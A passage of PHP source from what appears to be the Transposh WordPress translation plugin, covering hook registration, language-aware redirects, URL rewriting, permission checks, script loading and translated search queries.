add_action('wp_ajax_tp_trans_alts', array(&$this, 'on_ajax_nopriv_tp_trans_alts')); add_action('wp_ajax_nopriv_tp_trans_alts', array(&$this, 'on_ajax_nopriv_tp_trans_alts')); add_action('wp_ajax_tp_cookie', array(&$this, 'on_ajax_nopriv_tp_cookie')); add_action('wp_ajax_nopriv_tp_cookie', array(&$this, 'on_ajax_nopriv_tp_cookie')); add_action('wp_ajax_tp_cookie_bck', array(&$this, 'on_ajax_nopriv_tp_cookie_bck')); add_action('wp_ajax_nopriv_tp_cookie_bck', array(&$this, 'on_ajax_nopriv_tp_cookie_bck')); // comment_moderation_text - future filter TODO // full post wrapping (should happen late) add_filter('the_content', array(&$this, 'post_content_wrap'), 9999); add_filter('the_excerpt', array(&$this, 'post_content_wrap'), 9999); add_filter('the_title', array(&$this, 'post_wrap'), 9999, 2); // allow to mark the language? // add_action('admin_menu', array(&$this, 'transposh_post_language')); // add_action('save_post', array(&$this, 'transposh_save_post_language')); //TODO add_action('manage_comments_nav', array(&$this,'manage_comments_nav')); //TODO comment_row_actions (filter) // Intergrating with the gettext interface if ($this->options->transposh_gettext_integration) { add_filter('gettext', array(&$this, 'transposh_gettext_filter'), 10, 3); add_filter('gettext_with_context', array(&$this, 'transposh_gettext_filter'), 10, 3); add_filter('ngettext', array(&$this, 'transposh_ngettext_filter'), 10, 4); add_filter('ngettext_with_context', array(&$this, 'transposh_ngettext_filter'), 10, 4); add_filter('locale', array(&$this, 'transposh_locale_filter')); } // debug function for bad redirects add_filter('wp_redirect', array(&$this, 'on_wp_redirect'), 10, 2); add_filter('redirect_canonical', array(&$this, 'on_redirect_canonical'), 10, 2); // support shortcodes add_shortcode('tp', array(&$this, 'tp_shortcode')); // // FUTURE add_action('update-custom_transposh', array(&$this, 'update')); // CHECK TODO!!!!!!!!!!!! $this->tgl = transposh_utils::get_language_from_url($_SERVER['REQUEST_URI'], $this->home_url); if (!$this->options->is_active_language($this->tgl)) { $this->tgl = ''; } register_activation_hook(__FILE__, array(&$this, 'plugin_activate')); register_deactivation_hook(__FILE__, array(&$this, 'plugin_deactivate')); } /** * Attempt to fix a wp_redirect being called by someone else to include the language * hoping for no cycles * @param string $location * @param int $status * @return string */ function on_wp_redirect($location, $status) { // no point in mangling redirection if its our own or its the default language if ($this->transposh_redirect) return $location; if ($this->options->is_default_language($this->target_language)) return $location; tp_logger($status . ' ' . $location); // $trace = debug_backtrace(); // tp_logger($trace); // tp_logger($this->target_language); $location = $this->rewrite_url($location); return $location; } /** * Internally used by transposh redirection, to avoid being rewritten by self * assuming we know what we are doing when redirecting * @param string $location * @param int $status */ function tp_redirect($location, $status = 302) { $this->transposh_redirect = true; wp_redirect($location, $status); } /** * Function to fix canonical redirection for some translated urls (such as tags with params) * @param string $red - url wordpress assumes it will redirect to * @param string $req - url that was originally requested * @return mixed false if redirect unneeded - new url if we think we should */ function on_redirect_canonical($red, $req) { tp_logger("$red .. $req", 4); // if the urls are actually the same, don't redirect (same - if it had our proper take care of) if ($this->rewrite_url($red) == urldecode($req)) return false; // if this is not the default language, we need to make sure it redirects to what we believe is the proper url if (!$this->options->is_default_language($this->target_language)) { $red = str_replace(array('%2F', '%3A', '%3B', '%3F', '%3D', '%26'), array('/', ':', ';', '?', '=', '&'), urlencode($this->rewrite_url($red))); } return $red; } function get_clean_url() { if (isset($this->clean_url)) return $this->clean_url; //remove any language identifier and find the "clean" url, used for posting and calculating urls if needed $this->clean_url = transposh_utils::cleanup_url($_SERVER['REQUEST_URI'], $this->home_url, true); // we need this if we are using url translations if ($this->options->enable_url_translate) { $this->clean_url = transposh_utils::get_original_url($this->clean_url, '', $this->target_language, array($this->database, 'fetch_original')); } return $this->clean_url; } // function update() { // require_once('./admin-header.php'); /* $nonce = 'upgrade-plugin_' . $plugin; $url = 'update.php?action=upgrade-plugin&plugin=' . $plugin; $upgrader = new Plugin_Upgrader( new Plugin_Upgrader_Skin( compact('title', 'nonce', 'url', 'plugin') ) ); $upgrader->upgrade($plugin); */ // include('./admin-footer.php'); // } /** * Check if page is special (one that we normally should not touch * @param string $url Url to check * @return boolean Is it a special page? */ function is_special_page($url) { return ( stripos($url, '/wp-login.php') !== FALSE || stripos($url, '/wp-admin/') !== FALSE || stripos($url, '/wp-comments-post') !== FALSE || stripos($url, '/xmlrpc.php') !== FALSE); } /** * Called when the buffer containing the original page is flushed. Triggers the translation process. * @param string $buffer Original page * @return string Modified page buffer */ function process_page(&$buffer) { /* if (!$this->target_language) { global $wp; $this->on_parse_request($wp); } */ tp_logger('processing page hit with language:' . $this->target_language, 1); $start_time = microtime(TRUE); // Refrain from touching the administrative interface and important pages if ($this->is_special_page($_SERVER['REQUEST_URI'])) { tp_logger("Skipping translation for admin pages", 3); } // This one fixed a bug transposh created with other pages (xml generator for other plugins - such as the nextgen gallery) // TODO: need to further investigate (will it be needed?) elseif ($this->target_language == '') { tp_logger("Skipping translation where target language is unset", 3); if (!$buffer) { tp_logger("seems like we had a premature flushing"); $this->tried_buffer = true; } } // Don't translate the default language unless specifically allowed to... elseif ($this->options->is_default_language($this->target_language) && !$this->options->enable_default_translate) { tp_logger("Skipping translation for default language {$this->target_language}", 3); } else { // This one allows to redirect to a static element which we can find, since the redirection will remove // the target language, we are able to avoid nasty redirection loops if (is_404()) { global $wp; if (isset($wp->query_vars['pagename']) && file_exists(ABSPATH . $wp->query_vars['pagename'])) { // Hmm tp_logger('Redirecting a static file ' . $wp->query_vars['pagename'], 1); $this->tp_redirect('/' . $wp->query_vars['pagename'], 301); } } tp_logger("Translating {$_SERVER['REQUEST_URI']} to: {$this->target_language}", 1); //translate the entire page $parse = new parser(); $parse->fetch_translate_func = array(&$this->database, 'fetch_translation'); $parse->prefetch_translate_func = array(&$this->database, 'prefetch_translations'); $parse->url_rewrite_func = array(&$this, 'rewrite_url'); $parse->split_url_func = array(&$this, 'split_url'); $parse->dir_rtl = (in_array($this->target_language, transposh_consts::$rtl_languages)); $parse->lang = $this->target_language; $parse->default_lang = $this->options->is_default_language($this->target_language); $parse->is_edit_mode = $this->edit_mode; $parse->might_json = $this->attempt_json; $parse->is_auto_translate = $this->is_auto_translate_permitted(); $parse->allow_ad = $this->options->widget_remove_logo; // TODO - check this! if (stripos($_SERVER['REQUEST_URI'], '/feed/') !== FALSE) { tp_logger("in rss feed!", 2); $parse->is_auto_translate = false; $parse->is_edit_mode = false; $parse->feed_fix = true; } $parse->change_parsing_rules(!$this->options->parser_dont_break_puncts, !$this->options->parser_dont_break_numbers, !$this->options->parser_dont_break_entities); $buffer = $parse->fix_html($buffer); $end_time = microtime(TRUE); tp_logger('Translation completed in ' . ($end_time - $start_time) . ' seconds', 1); } return $buffer; } // function on_admin_init() { // tp_logger("admin init called"); // } /** * Setup a buffer that will contain the contents of the html page. * Once processing is completed the buffer will go into the translation process. */ function on_init() { tp_logger('init ' . $_SERVER['REQUEST_URI'], 4); // the wp_rewrite is not available earlier so we can only set the enable_permalinks here if (is_object($GLOBALS['wp_rewrite'])) { if ($GLOBALS['wp_rewrite']->using_permalinks() && $this->options->enable_permalinks) { tp_logger("enabling permalinks"); $this->enable_permalinks_rewrite = TRUE; } } // this is an ajax special case, currently crafted and tested on buddy press, lets hope this won't make hell break loose. // it basically sets language based on referred when accessing wp-load.php (which is the way bp does ajax) tp_logger(substr($_SERVER['SCRIPT_FILENAME'], -11), 5); if (substr($_SERVER['SCRIPT_FILENAME'], -11) == 'wp-load.php') { $this->target_language = transposh_utils::get_language_from_url($_SERVER['HTTP_REFERER'], $this->home_url); $this->attempt_json = true; } // load translation files for transposh load_plugin_textdomain(TRANSPOSH_TEXT_DOMAIN, false, dirname(plugin_basename(__FILE__)) . '/langs'); //set the callback for translating the page when it's done ob_start(array(&$this, "process_page")); } /** * Page generation completed - flush buffer. */ function on_shutdown() { //TODO !!!!!!!!!!!! ob_flush(); } /** * Update the url rewrite rules to include language identifier * @param array $rules Old rewrite rules * @return array New rewrite rules */ function update_rewrite_rules($rules) { tp_logger("Enter update_rewrite_rules", 2); if (!$this->options->enable_permalinks) { tp_logger("Not touching rewrite rules - permalinks modification disabled by admin", 2); return $rules; } $newRules = array(); $lang_prefix = "([a-z]{2,2}(\-[a-z]{2,2})?)/"; $lang_parameter = "&" . LANG_PARAM . '=$matches[1]'; //catch the root url $newRules[$lang_prefix . "?$"] = "index.php?lang=\$matches[1]"; tp_logger("\t {$lang_prefix} ?$ ---> index.php?lang=\$matches[1]", 4); foreach ($rules as $key => $value) { $original_key = $key; $original_value = $value; $key = $lang_prefix . $key; //Shift existing matches[i] two step forward as we pushed new elements //in the beginning of the expression for ($i = 6; $i > 0; $i--) { $value = str_replace('[' . $i . ']', '[' . ($i + 2) . ']', $value); } $value .= $lang_parameter; tp_logger("\t $key ---> $value", 5); $newRules[$key] = $value; $newRules[$original_key] = $original_value; tp_logger(": \t{$original_key} ---> {$original_value}", 4); } tp_logger("Exit update_rewrite_rules", 2); return $newRules; } //function flush_transposh_rewrite_rules() { //add_filter('rewrite_rules_array', array(&$this, 'update_rewrite_rules')); // $GLOBALS['wp_rewrite']->flush_rules(); //} /** * Let WordPress know which parameters are of interest to us. * @param array $vars Original queried variables * @return array Modified array */ function parameter_queryvars($vars) { tp_logger('inside query vars', 4); $vars[] = LANG_PARAM; $vars[] = EDIT_PARAM; tp_logger($vars, 4); return $vars; } /** * Grabs and set the global language and edit params, they should be here * @param WP $wp - here we get the WP class */ function on_parse_request($wp) { tp_logger('on_parse_req', 3); tp_logger($wp->query_vars); // fix for custom-permalink (and others that might be double parsing?) if ($this->target_language) return; // first we get the target language /* $this->target_language = (isset($wp->query_vars[LANG_PARAM])) ? $wp->query_vars[LANG_PARAM] : ''; if (!$this->target_language) $this->target_language = $this->options->default_language; tp_logger("requested language: {$this->target_language}"); */ // TODO TOCHECK!!!!!!!!!!!!!!!!!!!!!!!!!!1 $this->target_language = $this->tgl; if (!$this->target_language) $this->target_language = $this->options->default_language; tp_logger("requested language: {$this->target_language}", 3); if ($this->tried_buffer) { tp_logger("we will retrigger the output buffering"); ob_start(array(&$this, "process_page")); } // make themes that support rtl - go rtl http://wordpress.tv/2010/05/01/yoav-farhi-right-to-left-themes-sf10 if (in_array($this->target_language, transposh_consts::$rtl_languages)) { global $wp_locale; $wp_locale->text_direction = 'rtl'; } // we'll go into this code of redirection only if we have options that need it (and no bot is involved, for the non-cookie) // and this is not a special page or one that is refered by our site // bots can skip this altogether if (($this->options->enable_detect_redirect || $this->options->widget_allow_set_deflang) && !($this->is_special_page($_SERVER['REQUEST_URI']) || (isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], $this->home_url) !== false)) && !(transposh_utils::is_bot())) { // we are starting a session if needed if (!session_id()) session_start(); // no redirections if we already redirected in this session or we suspect cyclic redirections if (!isset($_SESSION['TR_REDIRECTED']) && !(isset($_SERVER['HTTP_REFERER']) && $_SERVER['HTTP_REFERER'] == $_SERVER['REQUEST_URI'])) { tp_logger('session redirection never happened (yet)', 2); // we redirect once per session $_SESSION['TR_REDIRECTED'] = true; // redirect according to stored lng cookie, and than according to detection if (isset($_COOKIE['TR_LNG']) && $this->options->widget_allow_set_deflang) { if ($_COOKIE['TR_LNG'] != $this->target_language) { $url = transposh_utils::rewrite_url_lang_param($_SERVER["REQUEST_URI"], $this->home_url, $this->enable_permalinks_rewrite, $_COOKIE['TR_LNG'], $this->edit_mode); if ($this->options->is_default_language($_COOKIE['TR_LNG'])) //TODO - fix wrt translation $url = transposh_utils::cleanup_url($_SERVER["REQUEST_URI"], $this->home_url); tp_logger("redirected to $url because of cookie", 4); $this->tp_redirect($url); exit; } } else { $bestlang = transposh_utils::prefered_language(explode(',', $this->options->viewable_languages), $this->options->default_language); // we won't redirect if we should not, or this is a presumable bot if ($bestlang && $bestlang != $this->target_language && $this->options->enable_detect_redirect) { $url = transposh_utils::rewrite_url_lang_param($_SERVER['REQUEST_URI'], $this->home_url, $this->enable_permalinks_rewrite, $bestlang, $this->edit_mode); if ($this->options->is_default_language($bestlang)) //TODO - fix wrt translation $url = transposh_utils::cleanup_url($_SERVER['REQUEST_URI'], $this->home_url); tp_logger("redirected to $url because of bestlang", 4); $this->tp_redirect($url); exit; } } } else { tp_logger('session was already redirected', 2); } } // this method allows posts from the search box to maintain the language, // TODO - it has a bug of returning to original language following search, which can be resolved by removing search from widget urls, but maybe later... if (isset($wp->query_vars['s'])) { if ($this->options->enable_search_translate) { add_action('pre_get_posts', array(&$this, 'pre_post_search')); add_action('posts_where_request', array(&$this, 'posts_where_request')); } if (transposh_utils::get_language_from_url($_SERVER['HTTP_REFERER'], $this->home_url) && !transposh_utils::get_language_from_url($_SERVER['REQUEST_URI'], $this->home_url)) { $this->tp_redirect(transposh_utils::rewrite_url_lang_param($_SERVER["REQUEST_URI"], $this->home_url, $this->enable_permalinks_rewrite, transposh_utils::get_language_from_url($_SERVER['HTTP_REFERER'], $this->home_url), false)); //."&stop=y"); exit; } } if (isset($wp->query_vars[EDIT_PARAM]) && $wp->query_vars[EDIT_PARAM] && $this->is_editing_permitted()) { $this->edit_mode = true; // redirect bots away from edit pages to avoid double indexing if (transposh_utils::is_bot()) { $this->tp_redirect(transposh_utils::rewrite_url_lang_param($_SERVER["REQUEST_URI"], $this->home_url, $this->enable_permalinks_rewrite, transposh_utils::get_language_from_url($_SERVER["REQUEST_URI"], $this->home_url), false), 301); exit; } } else { $this->edit_mode = false; } // We are removing our query vars since they are no longer needed and also make issues when a user select a static page as his home unset($wp->query_vars[LANG_PARAM]); unset($wp->query_vars[EDIT_PARAM]); tp_logger("edit mode: " . (($this->edit_mode) ? 'enabled' : 'disabled'), 2); } // TODO ? move to options? /** * Determine if the current user is allowed to translate. * @return boolean Is allowed to translate? */ function is_translator() { //if anonymous translation is allowed - let anyone enjoy it if ($this->options->allow_anonymous_translation) { return TRUE; } if (is_user_logged_in() && current_user_can(TRANSLATOR)) { return TRUE; } return FALSE; } /** * Plugin activation */ function plugin_activate() { tp_logger("plugin_activate enter: " . dirname(__FILE__), 1); $this->database->setup_db(); // this handles the permalink rewrite $GLOBALS['wp_rewrite']->flush_rules(); // attempt to remove old files @unlink($this->transposh_plugin_dir . 'widgets/tpw_default.php'); @unlink($this->transposh_plugin_dir . 'core/globals.php'); tp_logger("plugin_activate exit: " . dirname(__FILE__), 1); tp_logger("testing name:" . plugin_basename(__FILE__), 4); tp_logger("testing name2:" . $this->get_plugin_name(), 4); //activate_plugin($plugin); } /** * Plugin deactivation */ function plugin_deactivate() { tp_logger("plugin_deactivate enter: " . dirname(__FILE__), 2); // this handles the permalink rewrite $GLOBALS['wp_rewrite']->flush_rules(); tp_logger("plugin_deactivate exit: " . dirname(__FILE__), 2); } /** * Callback from admin_notices - display error message to the admin. */ function plugin_install_error() { tp_logger("install error!", 1); echo '<div class="updated"><p>'; echo 'Error has occured in the installation process of the translation plugin: <br>'; echo $this->admin_msg; if (function_exists('deactivate_plugins')) { // FIXME :wtf? deactivate_plugins(array(&$this, 'get_plugin_name'), "translate.php"); echo '<br> This plugin has been automatically deactivated.'; } echo '</p></div>'; } /** * Callback when all plugins have been loaded. Serves as the location * to check that the plugin loaded successfully else trigger notification * to the admin and deactivate plugin. * TODO - needs revisiting! */ function plugin_loaded() { tp_logger("Enter", 4); //TODO: fix this... $db_version = get_option(TRANSPOSH_DB_VERSION); if ($db_version != DB_VERSION) { $this->database->setup_db(); //$this->admin_msg = "Translation database version ($db_version) is not comptabile with this plugin (". DB_VERSION . ") <br>"; tp_logger("Updating database in plugin loaded", 1); //Some error occured - notify admin and deactivate plugin //add_action('admin_notices', 'plugin_install_error'); } //TODO: fix this too... $db_version = get_option(TRANSPOSH_DB_VERSION); if ($db_version != DB_VERSION) { $this->admin_msg = "Failed to locate the translation table <em> " . TRANSLATIONS_TABLE . "</em> in local database. <br>"; tp_logger("Messsage to admin: {$this->admin_msg}", 1); //Some error occured - notify admin and deactivate plugin add_action('admin_notices', array(&$this, 'plugin_install_error')); } } /** * Gets the plugin name to be used in activation/decativation hooks. * Keep only the file name and its containing directory. Don't use the full * path as it will break when using symbollic links. * TODO - check!!! * @return string */ function get_plugin_name() { $file = __FILE__; $file = str_replace('\\', '/', $file); // sanitize for Win32 installs $file = preg_replace('|/+|', '/', $file); // remove any duplicate slash //keep only the file name and its parent directory $file = preg_replace('/.*\/([^\/]+\/[^\/]+)$/', '$1', $file); tp_logger("Plugin path - $file", 4); return $file; } /** * Add custom css, i.e. transposh.css */ function add_transposh_css() { //translation not allowed - no need for the transposh.css if (!$this->is_editing_permitted() && !$this->is_auto_translate_permitted()) return; // actually - this is only needed when editing if (!$this->edit_mode) return; //include the transposh.css wp_enqueue_style('transposh', $this->transposh_plugin_url . '/' . TRANSPOSH_DIR_CSS . '/transposh.css', array(), TRANSPOSH_PLUGIN_VER); tp_logger('Added transposh_css', 4); } /** * Insert references to the javascript files used in the translated version of the page. */ function add_transposh_js() { //not in any translation mode - no need for any js. if (!($this->edit_mode || $this->is_auto_translate_permitted() || is_admin() || $this->options->widget_allow_set_deflang)) // TODO: need to include if allowing of setting default language - but smaller! return; // TODO, check just for settings page admin and pages with our translate wp_register_script('transposh', $this->transposh_plugin_url . '/' . TRANSPOSH_DIR_JS . '/transposh.js', array('jquery'), TRANSPOSH_PLUGIN_VER, $this->options->enable_footer_scripts); // true -> 1, false -> nothing $script_params = array( 'ajaxurl' => admin_url('admin-ajax.php'), 'plugin_url' => $this->transposh_plugin_url, 'lang' => $this->target_language, 'olang' => $this->options->default_language, // those two options show if the script can support said engines 'prefix' => SPAN_PREFIX, 'preferred' => $this->options->preferred_translator, ); // FIX BACKEND if (!$this->target_language || in_array($this->target_language, transposh_consts::$bing_languages)) { $script_params['msn'] = 1; if ($this->options->msn_key) { $script_params['msn_key'] = $this->options->msn_key; } } // FIX BACKEND if (!$this->target_language || in_array($this->target_language, transposh_consts::$google_languages)) { if ($this->options->google_key) { $script_params['google_key'] = $this->options->google_key; } if ($this->options->google_key || function_exists('curl_init')) $script_params['google'] = 1; } if (in_array($this->target_language, transposh_consts::$apertium_languages)) $script_params['apertium'] = 1; if ($this->options->oht_id && $this->options->oht_key && in_array($this->target_language, transposh_consts::$oht_languages) && current_user_can('manage_options')) $script_params['oht'] = 1; if ($this->options->widget_progressbar) $script_params['progress'] = 1; if (!$this->options->enable_autotranslate) $script_params['noauto'] = 1; // load translations needed for edit interface if ($this->edit_mode) { $script_params['edit'] = 1; if (file_exists($this->transposh_plugin_dir . TRANSPOSH_DIR_JS . '/l/' . $this->target_language . '.js')) { $script_params['locale'] = 1; } } // set theme when it is needed if ($this->options->widget_progressbar || $this->edit_mode) { $script_params['theme'] = $this->options->widget_theme; if ($this->options->jqueryui_override) { $script_params['jQueryUI'] = 'http://ajax.googleapis.com/ajax/libs/jqueryui/' . $this->options->jqueryui_override . '/'; } else { $script_params['jQueryUI'] = 'http://ajax.googleapis.com/ajax/libs/jqueryui/' . JQUERYUI_VER . '/'; } } // 'l10n_print_after' => 'try{convertEntities(inlineEditL10n);}catch(e){};' wp_localize_script('transposh', 't_jp', $script_params); // only enqueue on real pages, other admin scripts that need this will register a dependency if (($this->edit_mode || $this->is_auto_translate_permitted() || $this->options->widget_allow_set_deflang) && !is_admin()) { wp_enqueue_script('transposh'); } tp_logger('Added transposh_js', 4); } /** * Implements - http://googlewebmastercentral.blogspot.com/2010/09/unifying-content-under-multilingual.html */ function add_rel_alternate() { if (is_404()) return; $widget_args = $this->widget->create_widget_args($this->get_clean_url()); tp_logger($widget_args, 4); foreach ($widget_args as $lang) { if (!$lang['active']) { echo '<link rel="alternate" hreflang="' . $lang['isocode'] . '" href="' . $lang['url'] . '"/>'; } } } /** * Determine if the currently selected language (taken from the query parameters) is in the admin's list * of editable languages and the current user is allowed to translate. * @return boolean Is translation allowed? */ // TODO???? function is_editing_permitted() { // editing is permitted for translators only if (!$this->is_translator()) return false; // and only on the non-default lang (unless strictly specified) if (!$this->options->enable_default_translate && $this->options->is_default_language($this->target_language)) return false; return $this->options->is_active_language($this->target_language); } /** * Determine if the currently selected language (taken from the query parameters) is in the admin's list * of editable languages and that automatic translation has been enabled. * Note that any user can auto translate. i.e. ignore permissions. * @return boolean Is automatic translation allowed? * TODO: move to options */ function is_auto_translate_permitted() { tp_logger("checking auto translatability", 4); if (!$this->options->enable_autotranslate) return false; // auto translate is not enabled for default target language when enable default is disabled if (!$this->options->enable_default_translate && $this->options->is_default_language($this->target_language)) return false; return $this->options->is_active_language($this->target_language); } /** * Splits a url to translatable segments * @param string $href * @return array parts that may be translated */ function split_url($href) { $ret = array(); // Ignore urls not from this site if (!transposh_utils::is_rewriteable_url($href, $this->home_url)) { return $ret; } // don't fix links pointing to real files as it will cause that the // web server will not be able to locate them if (stripos($href, '/wp-admin') !== FALSE || stripos($href, WP_CONTENT_URL) !== FALSE || stripos($href, '/wp-login') !== FALSE || stripos($href, '/.php') !== FALSE) /* ??? */ { return $ret; } // todo - check query part... sanitize //if (strpos($href, '?') !== false) { // list ($href, $querypart) = explode('?', $href); //} //$href = substr($href, strlen($this->home_url)); // this might include the sub directory for non rooted sites, but its not that important to avoid $href = parse_url($href, PHP_URL_PATH); $parts = explode('/', $href); foreach ($parts as $part) { if (!$part) continue; if (is_numeric($part)) continue; $ret[] = $part; if ($part != str_replace('-', ' ', $part)) { $ret[] = str_replace('-', ' ', $part); } } return $ret; } /** * Callback from parser allowing to overide the global setting of url rewriting using permalinks. * Some urls should be modified only by adding parameters and should be identified by this * function. * @param $href Original href * @return boolean Modified href */ function rewrite_url($href) { tp_logger("got: $href", 5); // fix what might be messed up -- TODO $href = str_replace(array(TP_GTXT_BRK, TP_GTXT_IBRK, TP_GTXT_BRK_CLOSER, TP_GTXT_IBRK_CLOSER), '', $href); // Ignore urls not from this site if (!transposh_utils::is_rewriteable_url($href, $this->home_url)) { return $href; } // don't fix links pointing to real files as it will cause that the // web server will not be able to locate them if (stripos($href, '/wp-admin') !== FALSE || stripos($href, WP_CONTENT_URL) !== FALSE || stripos($href, '/wp-login') !== FALSE || stripos($href, '/.php') !== FALSE) /* ??? */ { return $href; } $use_params = !$this->enable_permalinks_rewrite; // we don't really know, but we sometime rewrite urls when we are in the default language (canonicals?), so just clean them up // if ($this->target_language == $this->options->default_language) if ($this->options->is_default_language($this->target_language)) { $href = transposh_utils::cleanup_url($href, $this->home_url); tp_logger("cleaned up: $href", 4); return $href; } // some hackery needed for url translations // first cut home if ($this->options->enable_url_translate) { $href = transposh_utils::translate_url($href, $this->home_url, $this->target_language, array(&$this->database, 'fetch_translation')); } $href = transposh_utils::rewrite_url_lang_param($href, $this->home_url, $this->enable_permalinks_rewrite, $this->target_language, $this->edit_mode, $use_params); tp_logger("rewritten: $href", 4); return $href; } /** * This function adds the word setting in the plugin list page * @param array $links Links that appear next to the plugin * @return array Now with settings */ function plugin_action_links($links) { tp_logger('in plugin action', 5); return array_merge(array('<a href="' . admin_url('admin.php?page=tp_main') . '">' . __('Settings') . '</a>'), $links); } /** * We use this to "steal" the search variables * @param WP_Query $query */ function pre_post_search($query) { tp_logger('pre post', 4); tp_logger($query->query_vars, 4); // we hide the search query var from further proccesing, because we do this later if ($query->query_vars['s']) { $this->search_s = $query->query_vars['s']; $query->query_vars['s'] = ''; } } /** * This is where we change the logic to include originals for search translation * @param string $where Original where clause for getting posts * @return string Modified where */ function posts_where_request($where) { tp_logger($where, 3); // from query.php line 1742 (v2.8.6) // If a search pattern is specified, load the posts that match $q = &$GLOBALS['wp_query']->query_vars; // returning the saved query strings $q['s'] = $this->search_s; if (!empty($q['s'])) { // added slashes screw with quote grouping when done early, so done later $q['s'] = stripslashes($q['s']); if (!empty($q['sentence'])) { $q['search_terms'] = array($q['s']); } else { preg_match_all('/".*?("|$)|((?<=[\\s",+])|^)[^\\s",+]+/', $q['s'], $matches); $q['search_terms'] = array_map(create_function('$a', 'return trim($a, "\\"\'\\n\\r ");'), $matches[0]); } $n = !empty($q['exact']) ? '' : '%'; $searchand = ''; $search = ''; foreach ((array) $q['search_terms'] as $term) { // now we'll get possible translations for this term $possible_original_terms = $this->database->get_orignal_phrases_for_search_term($term, $this->target_language); $term = addslashes_gpc($term); $search .= "{$searchand}(({$GLOBALS['wpdb']->posts}.post_title LIKE '{$n}{$term}{$n}') OR ({$GLOBALS['wpdb']->posts}.post_content LIKE '{$n}{$term}{$n}')"; foreach ((array) $possible_original_terms as $term) { $term = addslashes_gpc($term); $search .= " OR ({$GLOBALS['wpdb']->posts}.post_title LIKE '{$n}{$term}{$n}') OR ({$GLOBALS['wpdb']->posts}.post_content LIKE '{$n}{$term}{$n}')"; } // we moved this to here, so it really closes all of them $search .= ")"; $searchand = ' AND '; } $term = $GLOBALS['wpdb']->escape($q['s']); if (empty($q['sentence']) && count($q['search_terms']) > 1 && $q['search_terms'][0] != $q['s']) $search .= " OR ({$GLOBALS['wpdb']->posts}.post_title LIKE '{$n}{$term}{$n}') OR ({$GLOBALS['wpdb']->posts}.post_content LIKE '{$n}{$term}{$n}')"; if (!empty($search)) { $search = " AND ({$search}) "; if (!is_user_logged_in()) $search .= " AND ({$GLOBALS['wpdb']->posts}.post_password = '') "; } } tp_logger($search, 3); return $search . $where; } /** * Runs a scheduled backup */ function run_backup() { tp_logger('backup run..', 2); $my_transposh_backup = new transposh_backup($this); $my_transposh_backup->do_backup(); } /** * Runs a restore */ function run_restore() { tp_logger('restoring..', 2); $my_transposh_backup = new transposh_backup($this); $my_transposh_backup->do_restore(); } /** * Adding the comment meta language, for later use in display * TODO: can use the language detection feature of some translation engines * @param int $post_id */ function add_comment_meta_settings($post_id) { if (transposh_utils::get_language_from_url($_SERVER['HTTP_REFERER'], $this->home_url)) add_comment_meta($post_id, 'tp_language', transposh_utils::get_language_from_url($_SERVER['HTTP_REFERER'], $this->home_url), true); } /** * After a user adds a comment, makes sure he gets back to the proper language * TODO - check the three other params * @param string $url * @return string fixed url */ function comment_post_redirect_filter($url) { $lang = transposh_utils::get_language_from_url($_SERVER['HTTP_REFERER'], $this->home_url); if ($lang) { $url = transposh_utils::rewrite_url_lang_param($url, $this->home_url, $this->enable_permalinks_rewrite, $lang, $this->edit_mode); } return $url; } /** * Modify comments to include the relevant language span * @param string $text * @return string */ function comment_text_wrap($text) { $comment_lang = get_comment_meta(get_comment_ID(), 'tp_language', true); if ($comment_lang) { $text = "<span lang =\"$comment_lang\">" . $text . "</span>"; if (strpos($text, '<a href="' . $this->home_url) !== FALSE) { $text = str_replace('<a href="' . $this->home_url, '<a lang="' . $this->options->default_language . '" href="' . $this->home_url, $text); } } tp_logger("$comment_lang " . get_comment_ID(), 4); return $text; } /** * Modify posts to have language wrapping * @global int $id the post id * @param string $text the post text (or title text) * @return string wrapped text */ function post_content_wrap($text) { if (!isset($GLOBALS['id'])) return $text; $lang = get_post_meta($GLOBALS['id'], 'tp_language', true); if ($lang) { $text = "<span lang =\"$lang\">" . $text . "</span>"; if (strpos($text, '<a href="' . $this->home_url) !== FALSE) { $text = str_replace('<a href="' . $this->home_url, '<a lang="' . $this->options->default_language . '" href="' . $this->home_url, $text); } } return $text; } /** * Modify post title to have language wrapping * @param string $text the post title text * @return string wrapped text */ function post_wrap($text, $id = 0) { $id = (is_object($id)) ? $id->ID : $id; if (!$id) return $text; $lang = get_post_meta($id, 'tp_language', true); if ($lang) { if (strpos($_SERVER['REQUEST_URI'], 'wp-admin/edit') !== false) { tp_logger('iamhere?' . strpos($_SERVER['REQUEST_URI'], 'wp-admin/edit')); $plugpath = parse_url($this->transposh_plugin_url, PHP_URL_PATH); list($langeng, $langorig, $langflag) = explode(',', transposh_consts::$languages[$lang]); $text = transposh_utils::display_flag("$plugpath/img/flags", $langflag, $langorig, false) . ' ' . $text; } else { $text = "<span lang =\"$lang\">" . $text . "</span>"; } } return $text; } /** * This function enables the correct parsing of translated URLs * @global object $wp the wordpress global * @param array $query * @return $query */ function request_filter($query) { //We only do this once, and if we have a lang $requri = $_SERVER['REQUEST_URI']; $lang = transposh_utils::get_language_from_url($requri, $this->home_url); if ($lang && !$this->got_request) { tp_logger('Trying to find original url'); $this->got_request = true; // the trick is to replace the URI and put it back afterwards $_SERVER['REQUEST_URI'] = transposh_utils::get_original_url($requri, '', $lang, array($this->database, 'fetch_original')); global $wp; $wp->parse_request(); $query = $wp->query_vars; $_SERVER['REQUEST_URI'] = $requri; tp_logger('new query vars are'); tp_logger($query); } return $query; } /** * This function adds our markings around gettext results * @param string $translation * @param string $orig * @return string */ function transposh_gettext_filter($translation, $orig, $domain) { if ($this->is_special_page($_SERVER['REQUEST_URI']) || ($this->options->is_default_language($this->tgl) && !$this->options->enable_default_translate)) { return $translation; } tp_logger("($translation, $orig, $domain)", 5); // HACK - TODO - FIX if (in_array($domain, transposh_consts::$ignored_po_domains)) return $translation; if ($translation != $orig) { $translation = TP_GTXT_BRK . $translation . TP_GTXT_BRK_CLOSER; } $translation = str_replace(array('%s', '%1$s', '%2$s', '%3$s', '%4$s', '%5$s'), array(TP_GTXT_IBRK . '%s' . TP_GTXT_IBRK_CLOSER, TP_GTXT_IBRK . '%1$s' . TP_GTXT_IBRK_CLOSER, TP_GTXT_IBRK . '%2$s' . TP_GTXT_IBRK_CLOSER, TP_GTXT_IBRK . '%3$s' . TP_GTXT_IBRK_CLOSER, TP_GTXT_IBRK . '%4$s' . TP_GTXT_IBRK_CLOSER, TP_GTXT_IBRK . '%5$s' . TP_GTXT_IBRK_CLOSER), $translation); return $translation; } /** * This function adds our markings around ngettext results * @param string $translation * @param string $single * @param string $plural * @return string */ function transposh_ngettext_filter($translation, $single, $plural, $domain) { if ($this->is_special_page($_SERVER['REQUEST_URI']) || 